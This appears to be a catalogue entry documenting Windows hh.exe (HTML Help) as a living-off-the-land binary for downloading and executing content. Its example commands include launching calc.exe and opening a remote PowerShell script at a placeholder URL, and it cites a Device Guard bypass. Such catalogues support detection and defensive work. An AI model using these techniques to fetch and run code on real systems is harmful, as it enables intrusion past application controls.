--- Name: hh.exe Description: Download, Execute Author: '' Created: '2018-05-25' Categories: [] Commands: - Command: HH.exe http://www.google.com Description: Opens google's web page with HTML Help. - Command: HH.exe C:\ Description: Opens c:\\ with HTML Help. - Command: HH.exe c:\windows\system32\calc.exe Description: 'Opens calc.exe with HTML Help.' - Command: HH.exe http://some.url/script.ps1 Description: Open the target PowerShell script with HTML Help. Full Path: - c:\windows\system32\hh.exe - c:\windows\sysWOW64\hh.exe Code Sample: [] Detection: [] Resources: - https://oddvar.moe/2017/08/13/bypassing-device-guard-umci-using-chm-cve-2017-8625/ Notes: Thanks to Oddvar Moe - @oddvarmoe